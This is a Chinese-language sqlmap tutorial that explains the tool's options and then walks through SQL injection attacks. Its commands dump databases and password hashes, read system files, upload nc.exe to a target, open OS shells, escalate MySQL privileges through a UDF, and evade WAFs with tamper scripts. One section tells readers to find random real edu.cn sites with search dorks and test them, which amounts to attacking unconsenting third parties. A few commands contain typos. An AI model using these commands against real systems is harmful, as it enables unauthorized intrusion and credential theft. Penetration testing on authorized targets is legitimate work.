sqlmap是一个开源的渗透测试工具，可以用来进行自动化检测，利用SQL注入漏洞，获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项，包括获取数据库中存储的数据，访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

sqlmap 相关资源如下：

官方网站：http://sqlmap.org/，

下载地址：https://github.com/sqlmapproject/sqlmap/zipball/master

演示视频：https://asciinema.org/a/46601

教程：http://www.youtube.com/user/inquisb/videos

1.1 sqlmap简介

sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。

sqlmap支持五种不同的注入模式：

- 基于布尔的盲注，即可以根据返回页面判断条件真假的注入；
- 基于时间的盲注，即不能根据页面返回内容判断任何信息，用条件语句查看时间延迟语句是否执行（即页面返回时间是否增加）来判断；
- 基于报错注入，即页面会返回错误信息，或者把注入的语句的结果直接返回在页面中；
- 联合查询注入，可以使用union的情况下的注入；
- 堆查询注入，可以同时执行多条语句的执行时的注入。

1.2 下载及安装

建议直接看 github：https://github.com/sqlmapproject/sqlmap

You can download the latest tarball by clicking here or latest zipball by clicking here.

Preferably, you can download sqlmap by cloning the Git repository:

```
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
```

sqlmap works out of the box with Python version 2.6, 2.7 and 3.x on any platform.

1.3 SQL使用参数详解

本文以SQLmap 1.1.8-8版本为例，对其所有参数进行详细的分析和讲解，便于在使用时进行查询。

`sqlmap -hh` 列出参数说明

用法: sqlmap.py [选项]

1.3.1 选项#

- -h,--help 显示基本帮助信息并退出
- -hh 显示高级帮助信息并退出
- --version 显示程序版本信息并退出
- -vVERBOSE信息级别: 0-6 （缺省1），其值具体含义：“0”只显示python错误以及严重的信息；1同时显示基本信息和警告信息（默认）；“2”同时显示debug信息；“3”同时显示注入的payload；

“4”同时显示HTTP请求；“5”同时显示HTTP响应头；“6”同时显示HTTP响应页面；如果想看到sqlmap发送的测试payload最好的等级就是3。

1.3.2 目标#

在这些选项中必须提供至少有一个确定目标

- -d DIRECT　直接连接数据库的连接字符串
- -u URL, --url=URL　目标URL (e.g."http://www.site.com/vuln.php?id=1")，使用-u或者--url
- -l LOGFILE　从Burp或者WebScarab代理日志文件中分析目标
- -x SITEMAPURL 从远程网站地图（sitemap.xml）文件来解析目标
- -m BULKFILE　将目标地址保存在文件中，一行为一个URL地址进行批量检测。
- -r REQUESTFILE　从文件加载HTTP请求，sqlmap可以从一个文本文件中获取HTTP请求，这样就可以跳过设置一些其他参数（比如cookie，POST数据，等等），请求是HTTPS的时需要配合这个--force-ssl参数来使用，或者可以在Host头后门加上:443
- -g GOOGLEDORK　从谷歌中加载结果目标URL（只获取前100个结果，需要挂代理）
- -c CONFIGFILE　从配置ini文件中加载选项

1.3.3 请求#

这些选项可以用来指定如何连接到目标URL

- --method=METHOD 强制使用给定的HTTP方法（例如put）
- --data=DATA　通过POST发送数据参数，sqlmap会像检测GET参数一样检测POST的参数。--data="id=1" -f --banner --dbs --users
- --param-del=PARA..　当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。
- --cookie=COOKIE　HTTP Cookieheader 值
- --cookie-del=COO..　用来分隔cookie的字符串值
- --load-cookies=L..　Filecontaining cookies in Netscape/wget format
- --drop-set-cookie　IgnoreSet-Cookie header from response
- --user-agent=AGENT 默认情况下sqlmap的HTTP请求头中User-Agent值是：sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)可以使用--user-agent参数来修改，同时也可以使用--random-agent参数来随机的从./txt/user-agents.txt中获取。当--level参数设定为3或者3以上的时候，会尝试对User-Angent进行注入
- --random-agent　使用random-agent作为HTTP User-Agent头值
- --host=HOST　HTTP Hostheader value
- --referer=REFERER　sqlmap可以在请求中伪造HTTP中的referer，当--level参数设定为3或者3以上的时候会尝试对referer注入
- -H HEADER, --hea..　额外的http头(e.g."X-Forwarded-For: 127.0.0.1")
- --headers=HEADERS 可以通过--headers参数来增加额外的http头(e.g."Accept-Language: fr\nETag: 123")
- --auth-type=AUTH.. HTTP的认证类型 (Basic, Digest, NTLM or PKI)
- --auth-cred=AUTH..　HTTP 认证凭证(name:password)
- --auth-file=AUTH..　HTTP 认证PEM证书/私钥文件；当Web服务器需要客户端证书进行身份验证时，需要提供两个文件:key_file，cert_file,key_file是格式为PEM文件，包含着你的私钥，cert_file是格式为PEM的连接文件。
- --ignore-401　Ignore HTTPError 401 (Unauthorized)忽略HTTP 401错误（未授权的）
- --ignore-proxy　忽略系统的默认代理设置

- --ignore-redirects忽略重定向的尝试
- --ignore-timeouts 忽略连接超时
- --proxy=PROXY 使用代理服务器连接到目标URL
- --proxy-cred=PRO.. 代理认证凭证(name:password)
- --proxy-file=PRO.. 从文件加载代理列表
- --tor 使用Tor匿名网络
- --tor-port=TORPORT 设置Tor代理端口
- --tor-type=TORTYPE 设置Tor代理类型 (HTTP,SOCKS4 or SOCKS5 (缺省))
- --check-tor 检查Tor的是否正确使用
- --delay=DELAY 可以设定两个HTTP(S)请求间的延迟，设定为0.5的时候是半秒，默认是没有延迟的。
- --timeout=TIMEOUT 可以设定一个HTTP(S)请求超过多久判定为超时，10表示10秒，默认是30秒。
- --retries=RETRIES 当HTTP(S)超时时，可以设定重新尝试连接次数，默认是3次。
- --randomize=RPARAM可以设定某一个参数值在每一次请求中随机的变化，长度和类型会与提供的初始值一样
- --safe-url=SAFEURL 提供一个安全不错误的连接，每隔一段时间都会去访问一下
- --safe-post=SAFE.. 提供一个安全不错误的连接，每次测试请求之后都会再访问一遍安全连接。
- --safe-req=SAFER.. 从文件中加载安全HTTP请求
- --safe-freq=SAFE.. 测试一个给定安全网址的两个访问请求
- --skip-urlencode 跳过URL的有效载荷数据编码
- --csrf-token=CSR.. Parameter usedto hold anti-CSRF token参数用来保存反CSRF令牌
- --csrf-url=CSRFURL URL地址访问提取anti-CSRF令牌
- --force-ssl 强制使用SSL/HTTPS
- --hpp 使用HTTP参数污染的方法
- --eval=EVALCODE 在有些时候，需要根据某个参数的变化，而修改另个一参数，才能形成正常的请求，这时可以用--eval参数在每次请求时根据所写python代码做完修改后请求。(e.g "import hashlib;id2=hashlib.md5(id).hexdigest()")

```
sqlmap.py -u"http://www.target.com/vuln.php?
id=1&hash=c4ca4238a0b923820dcc509a6f75849b"--eval="import
hashlib;hash=hashlib.md5(id).hexdigest()"
```

1.3.4 优化

这些选项可用于优化sqlmap性能

- -o 打开所有的优化开关
- --predict-output 预测普通查询输出
- --keep-alive 使用持久HTTP（S）连接
- --null-connection 获取页面长度
- --threads=THREADS 当前http(s)最大请求数 (默认 1)

1.3.5 注入

这些选项可用于指定要测试的参数、提供自定义注入有效载荷和可选的篡改脚本。

- -p TESTPARAMETER　可测试的参数
- --skip=SKIP　　跳过对给定参数的测试
- --skip-static　　跳过测试不显示为动态的参数
- --param-exclude=..　使用正则表达式排除参数进行测试（e.g. "ses"）
- --dbms=DBMS　　强制后端的DBMS为此值
- --dbms-cred=DBMS..　DBMS认证凭证(user:password)
- --os=OS　　强制后端的DBMS操作系统为这个值
- --invalid-bignum　使用大数字使值无效
- --invalid-logical　使用逻辑操作使值无效
- --invalid-string　使用随机字符串使值无效
- --no-cast　　关闭有效载荷铸造机制
- --no-escape　　关闭字符串逃逸机制
- --prefix=PREFIX　注入payload字符串前缀
- --suffix=SUFFIX　注入payload字符串后缀
- --tamper=TAMPER　使用给定的脚本篡改注入数据

1.3.6 检测

这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容

- --level=LEVEL　执行测试的等级（1-5，默认为1）
- --risk=RISK　　执行测试的风险（0-3，默认为1）
- --string=STRING　查询时有效时在页面匹配字符串
- --not-string=NOT..　当查询求值为无效时匹配的字符串
- --regexp=REGEXP　查询时有效时在页面匹配正则表达式
- --code=CODE　　当查询求值为True时匹配的HTTP代码
- --text-only　　仅基于在文本内容比较网页
- --titles　　仅根据他们的标题进行比较

1.3.7 技巧

这些选项可用于调整具体的SQL注入测试

- --technique=TECH　SQL注入技术测试（默认BEUST）
- --time-sec=TIMESEC　DBMS响应的延迟时间（默认为5秒）
- --union-cols=UCOLS　定列范围用于测试UNION查询注入
- --union-char=UCHAR　暴力猜测列的字符数
- --union-from=UFROM　SQL注入UNION查询使用的格式
- --dns-domain=DNS..　DNS泄露攻击使用的域名
- --second-order=S..　URL搜索产生的结果页面

1.3.8 指纹

- -f, --fingerprint　执行广泛的DBMS版本指纹检查

1.3.9 枚举

这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外，您还可以运行自定义的SQL语句。

- -a, --all 获取所有信息
- -b, --banner 获取数据库管理系统的标识
- --current-user 获取数据库管理系统当前用户
- --current-db 获取数据库管理系统当前数据库
- --hostname 获取数据库服务器的主机名称
- --is-dba 检测DBMS当前用户是否DBA
- --users 枚举数据库管理系统用户
- --passwords 枚举数据库管理系统用户密码哈希
- --privileges 枚举数据库管理系统用户的权限
- --roles 枚举数据库管理系统用户的角色
- --dbs 枚举数据库管理系统数据库
- --tables 枚举的DBMS数据库中的表
- --columns 枚举DBMS数据库表列
- --schema 枚举数据库架构
- --count 检索表的项目数，有时候用户只想获取表中的数据个数而不是具体的内容，那么就可以使用这个参数：sqlmap.py -u url --count -D testdb
- --dump 转储数据库表项
- --dump-all 转储数据库所有表项
- --search 搜索列（S），表（S）和/或数据库名称（S）
- --comments 获取DBMS注释
- -D DB 要进行枚举的指定数据库名
- -T TBL DBMS数据库表枚举
- -C COL DBMS数据库表列枚举
- -X EXCLUDECOL DBMS数据库表不进行枚举
- -U USER 用来进行枚举的数据库用户
- --exclude-sysdbs 枚举表时排除系统数据库
- --pivot-column=P.. Pivot columnname
- --where=DUMPWHERE Use WHEREcondition while table dumping
- --start=LIMITSTART 获取第一个查询输出数据位置
- --stop=LIMITSTOP 获取最后查询的输出数据
- --first=FIRSTCHAR 第一个查询输出字的字符获取
- --last=LASTCHAR 最后查询的输出字字符获取
- --sql-query=QUERY 要执行的SQL语句
- --sql-shell 提示交互式SQL的shell
- --sql-file=SQLFILE 要执行的SQL文件

1.3.10 暴力

这些选项可以被用来运行暴力检查

- --common-tables 检查存在共同表
- --common-columns 检查存在共同列

1.3.11 用户自定义函数注入

这些选项可以用来创建用户自定义函数

- --udf-inject　注入用户自定义函数
- --shared-lib=SHLIB 共享库的本地路径

1.3.12 访问文件系统

这些选项可以被用来访问后端数据库管理系统的底层文件系统

- --file-read=RFILE　从后端的数据库管理系统文件系统读取文件，SQL Server2005中读取二进制文件example.exe: `sqlmap.py -`

  ```
  u"http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther"--file-read "C:/example.exe" -v 1
  ```

- --file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
- --file-dest=DFILE　后端的数据库管理系统写入文件的绝对路径

在kali中将/software/nc.exe文件上传到C:/WINDOWS/Temp下：

```
python sqlmap.py -u"http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write"/software/nc.exe" --file-dest "C:/WINDOWS/Temp/nc.exe" -v1
```

1.3.13 操作系统访问

这些选项可以用于访问后端数据库管理系统的底层操作系统

- --os-cmd=OSCMD　执行操作系统命令（OSCMD）
- --os-shell　　交互式的操作系统的shell
- --os-pwn　　获取一个OOB shell，meterpreter或VNC
- --os-smbrelay　　一键获取一个OOBshell，meterpreter或VNC
- --os-bof　　存储过程缓冲区溢出利用
- --priv-esc　　数据库进程用户权限提升
- --msf-path=MSFPATH MetasploitFramework本地的安装路径
- --tmp-path=TMPPATH 远程临时文件目录的绝对路径

linux查看当前用户命令：

```
sqlmap.py -u"http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --os-cmd id -v1
```

1.3.14 Windows注册表访问

这些选项可以被用来访问后端数据库管理系统Windows注册表

- --reg-read　　读一个Windows注册表项值
- --reg-add　　写一个Windows注册表项值数据
- --reg-del　　删除Windows注册表键值
- --reg-key=REGKEY　Windows注册表键
- --reg-value=REGVAL Windows注册表项值
- --reg-data=REGDATA Windows注册表键值数据

- --reg-type=REGTYPE Windows注册表项值类型

1.3.15 一般选项

这些选项可以用来设置一些一般的工作参数

- -s SESSIONFILE 保存和恢复检索会话文件的所有数据
- -t TRAFFICFILE 记录所有HTTP流量到一个文本文件中
- --batch 从不询问用户输入，使用所有默认配置。
- --binary-fields=.. 结果字段具有二进制值(e.g."digest")
- --charset=CHARSET 强制字符编码
- --crawl=CRAWLDEPTH 从目标URL爬行网站
- --crawl-exclude=.. 正则表达式从爬行页中排除
- --csv-del=CSVDEL 限定使用CSV输出 (default",")
- --dump-format=DU.. 转储数据格式(CSV(default), HTML or SQLITE)
- --eta 显示每个输出的预计到达时间
- --flush-session 刷新当前目标的会话文件
- --forms 解析和测试目标URL表单
- --fresh-queries 忽略在会话文件中存储的查询结果
- --hex 使用DBMS Hex函数数据检索
- --output-dir=OUT.. 自定义输出目录路径
- --parse-errors 解析和显示响应数据库错误信息
- --save=SAVECONFIG 保存选项到INI配置文件
- --scope=SCOPE 从提供的代理日志中使用正则表达式过滤目标
- --test-filter=TE.. 选择测试的有效载荷和/或标题(e.g. ROW)
- --test-skip=TEST.. 跳过试验载荷和/或标题(e.g.BENCHMARK)
- --update 更新sqlmap

1.3.16 其他

- -z MNEMONICS 使用短记忆法 (e.g."flu,bat,ban,tec=EU")
- --alert=ALERT 发现SQL注入时，运行主机操作系统命令
- --answers=ANSWERS 当希望sqlmap提出输入时，自动输入自己想要的答案(e.g. "quit=N,follow=N")，例如：sqlmap.py -u"http://192.168.22.128/get_int.php?id=1"--technique=E--answers="extending=N" --batch
- --beep 发现sql注入时，发出蜂鸣声。
- --cleanup 清除sqlmap注入时在DBMS中产生的udf与表。
- --dependencies Check formissing (non-core) sqlmap dependencies
- --disable-coloring 默认彩色输出，禁掉彩色输出。
- --gpage=GOOGLEPAGE 使用前100个URL地址作为注入测试，结合此选项，可以指定页面的URL测试
- --identify-waf 进行WAF/IPS/IDS保护测试，目前大约支持30种产品的识别
- --mobile 有时服务端只接收移动端的访问，此时可以设定一个手机的User-Agent来模仿手机登陆。
- --offline Work inoffline mode (only use session data)
- --purge-output 从输出目录安全删除所有内容，有时需要删除结果文件，而不被恢复，可以使用此参数，原有文件将会被随机的一些文件覆盖。
- --skip-waf 跳过WAF / IPS / IDS启发式检测保护
- --smart 进行积极的启发式测试，快速判断为注入的报错点进行注入
- --sqlmap-shell 互动提示一个sqlmapshell
- --tmp-dir=TMPDIR 用于存储临时文件的本地目录
- --web-root=WEBROOT Web服务器的文档根目录(e.g."/var/www")
- --wizard 新手用户简单的向导使用，可以一步一步教你如何输入针对目标注入

1.4 实际利用

1.4.1 检测和利用SQL注入

1. 手工判断是否存在漏洞

对动态网页进行安全审计，通过接受动态用户提供的GET、POST、Cookie参数值、User-Agent请求头。

原始网页：http://192.168.136.131/sqlmap/mysql/get_int.php?id=1

构造url1：http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1

构造url2：http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2

如果url1访问结果跟原始网页一致，而url2跟原始网页不一致，有出错信息或者显示内容不一致，则证明存在SQL注入。

2. sqlmap自动检测

检测语法：sqlmap.py -u http://192.168.136.131/sqlmap/mysql/get_int.php?id=1

技巧：在实际检测过程中，sqlmap会不停的询问，需要手工输入Y/N来进行下一步操作，可以使用参数“--batch”命令来自动答复和判断。

3. **寻找和判断实例**

通过百度对“inurl:news.asp?id=site:edu.cn”、“inurl:news.php?id= site:edu.cn”、“inurl:news.aspx?id=site:edu.cn”进行搜索，搜索news.php/asp/aspx，站点为edu.cn。随机打开一个网页搜索结果，如果能够正常访问，则复制该URL地址。

将该url使用sqlmap进行注入测试，，测试结果可能存在SQL注入，也可能不存在SQL注入，存在则可以进行数据库名称，数据库表以及数据的操作。

4. **批量检测**

将目标url搜集并整理为txt文件，如图4所示，所有文件都保存为tg.txt，然后使用“sqlmap.py-m tg.txt”，注意tg.txt跟sqlmap在同一个目录下。

1.4.2 直接连接数据库

```
sqlmap.py -d"mysql://admin:admin@192.168.21.17:3306/testdb" -f --banner --dbs--users
```

1.4.3数据库相关操作

- 列数据库信息：--dbs
- web当前使用的数据库--current-db
- web数据库使用账户--current-user
- 列出sqlserver所有用户 --users
- 数据库账户与密码 --passwords
- 指定库名列出所有表 -D database --tables
    - -D：指定数据库名称
- 指定库名表名列出所有字段 -D antian365-T admin --columns
    - -T：指定要列出字段的表
- 指定库名表名字段dump出指定字段

    - -D secbang_com -T admin -C id,password ,username --dump
    - -D antian365 -T userb -C"email,Username,userpassword" --dump
    - 可加双引号，也可不加双引号。
- 导出多少条数据
    - -D tourdata -T userb -C"email,Username,userpassword" --start 1 --stop 10 --dump （）
    - 参数：
        - --start：指定开始的行
        - --stop：指定结束的行
    - 此条命令的含义为：导出数据库tourdata中的表userb中的字段(email,Username,userpassword)中的第1到第10行的数据内容。

1.5 SQLMAP实用技巧

15.1 mysql的注释方法进行绕过WAF进行SQL注入

1. 修改 C:\Python27\sqlmap\tamper\halfversionedmorekeywords.py

```
return match.group().replace(word,"/*!0%s" % word) 为：

return match.group().replace(word,"/*!50000%s*/" % word)
```

1. 修改C:\Python27\sqlmap\xml\queries.xml

```
<cast query="CAST(%s ASCHAR)"/>为：

<castquery="convert(%s,CHAR)"/>
```

1. 使用sqlmap进行注入测试

```
sqlmap.py -u"http://**.com/detail.php? id=16" –tamper
"halfversionedmorekeywords.py"
```

其它绕过waf脚本方法：

```
sqlmap.py-u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --
tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
```

1. tamper目录下文件具体含义：

```
space2comment.py用/**/代替空格

apostrophemask.py用utf8代替引号

equaltolike.pylike代替等号

space2dash.py  绕过过滤‘=’ 替换空格字符（”），（’–‘）后跟一个破折号注释，一个随机字符串和一个新行（’n’）

greatest.py  绕过过滤’>’ ,用GREATEST替换大于号。
```

space2hash.py空格替换为#号,随机字符串以及换行符

apostrophenullencode.py绕过过滤双引号，替换字符和双引号。

halfversionedmorekeywords.py当数据库为mysql时绕过防火墙，每个关键字之前添加mysql版本评论

space2morehash.py空格替换为 #号 以及更多随机字符串 换行符

appendnullbyte.py在有效负荷结束位置加载零字节字符编码

ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似'IFNULL(A,B)'为'IF(ISNULL(A), B, A)'

space2mssqlblank.py(mssql)空格替换为其它空符号

base64encode.py 用base64编码替换

space2mssqlhash.py 替换空格

modsecurityversioned.py过滤空格，包含完整的查询版本注释

space2mysqlblank.py 空格替换其它空白符号(mysql)

between.py用between替换大于号（>）

space2mysqldash.py替换空格字符（"）（' - '）后跟一个破折号注释一个新行（' n'）

multiplespaces.py围绕SQL关键字添加多个空格

space2plus.py用+替换空格

bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like

nonrecursivereplacement.py双重查询语句,取代SQL关键字

space2randomblank.py代替空格字符（""）从一个随机的空白字符可选字符的有效集

sp_password.py追加sp_password'从DBMS日志的自动模糊处理的有效载荷的末尾

chardoubleencode.py双url编码(不处理以编码的)

unionalltounion.py替换UNION ALLSELECT UNION SELECT

charencode.py url编码

randomcase.py随机大小写

unmagicquotes.py宽字符绕过 GPCaddslashes

randomcomments.py用/**/分割sql关键字

charunicodeencode.py字符串 unicode 编码

securesphere.py追加特制的字符串

versionedmorekeywords.py注释绕过

space2comment.py替换空格字符串(‘‘) 使用注释‘/**/’

```
halfversionedmorekeywords.py关键字前加注释
```

15.2 URL重写SQL注入测试

value1为测试参数，加“*”即可，sqlmap将会测试value1的位置是否可注入。

```
sqlmap.py -u"http://targeturl/param1/value1*/param2/value2/"
```

15.3 列举并破解密码哈希值

当前用户有权限读取包含用户密码的权限时，sqlmap会现列举出用户，然后列出hash，并尝试破解。

```
sqlmap.py -u"http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -
v1
```

15.4 获取表中的数据个数

```
sqlmap.py -u"http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -
Dtestdb
```

15.5 对网站secbang.com进行漏洞爬取

```
sqlmap.py -u "http://www.secbang.com"--batch --crawl=3
```

15.6 基于布尔SQL注入预估时间

```
sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1"-b --
eta
```

15.7 使用hex避免字符编码导致数据丢失

```
sqlmap.py -u "http://192.168.48.130/pgsql/get_int.php?id=1" --banner --hex -v 3 -
-parse-errors
```

15.8.模拟测试手机环境站点

```
python sqlmap.py -u"http://www.target.com/vuln.php?id=1" --mobile
```

15.9 智能判断测试

```
sqlmap.py -u "http://www.antian365.com/info.php?id=1"--batch --smart
```

15.10 结合burpsuite进行注入

1. burpsuite抓包，需要设置burpsuite记录请求日志

```
sqlmap.py -r burpsuite抓包.txt
```

1. 指定表单注入

```
sqlmap.py -u URL --data“username=a&password=a”
```

15.11 sqlmap自动填写表单注入

自动填写表单：

```
sqlmap.py -u URL --forms

sqlmap.py -u URL --forms --dbs

sqlmap.py -u URL --forms --current-db

sqlmap.py -u URL --forms -D 数据库名称--tables

sqlmap.py -u URL --forms -D 数据库名称 -T 表名 --columns

sqlmap.py -u URL --forms -D 数据库名称 -T 表名 -Cusername，password --dump
```

15.12读取linux下文件

```
sqlmap.py-u "url" --file /etc/password
```

15.13 延时注入

```
sqlmap.py -u URL --technique -T--current-user
```

15.14 sqlmap 结合burpsuite进行post注入

结合burpsuite来使用sqlmap：

1. 浏览器打开目标地址http://www.antian365.com
2. 配置burp代理(127.0.0.1:8080)以拦截请求
3. 点击登录表单的submit按钮
4. Burp会拦截到了我们的登录POST请求
5. 把这个post请求复制为txt, 我这命名为post.txt 然后把它放至sqlmap目录下
6. 运行sqlmap并使用如下命令：
   `./sqlmap.py -r post.txt -p tfUPass`

15.15 sqlmap cookies注入

```
sqlmap.py -u "http://127.0.0.1/base.PHP"-cookies "id=1"  -dbs -level 2
```

默认情况下SQLMAP只支持GET/POST参数的注入测试，但是当使用–level 参数且数值>=2的时候也会检查cookie里面的参数，当>=3的时候将检查User-agent和Referer。可以通过burpsuite等工具获取当前的cookie值，然后进行注入：

```
sqlmap.py -u 注入点URL --cookie"id=xx" --level 3

sqlmap.py -u url --cookie "id=xx"--level 3 --tables(猜表名)

sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 --coiumns

sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 -C username，password --dump
```

15.16 mysql提权

1. 连接mysql数据打开一个交互shell:

```
sqlmap.py -dmysql://root:root@127.0.0.1:3306/test --sql-shell

select @@version;

select @@plugin_dir;

d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\
```

1. 利用sqlmap上传lib_mysqludf_sys到MySQL插件目录:

```
sqlmap.py -dmysql://root:root@127.0.0.1:3306/test --file-
write=d:/tmp/lib_mysqludf_sys.dll--file-
dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll

CREATE FUNCTION sys_exec RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'

CREATE FUNCTION sys_eval RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'

select sys_eval('ver');
```

15.17 执行shell命令

```
sqlmap.py -u "url" -os-cmd="netuser" /*执行net user命令*/

sqlmap.py -u "url" -os-shell /*系统交互的shell*/
```

15.18 延时注入

```
sqlmap -dbs -u"url" -delay 0.5 /*延时0.5秒*/

sqlmap -dbs -u"url" -safe-freq /*请求2次*/
```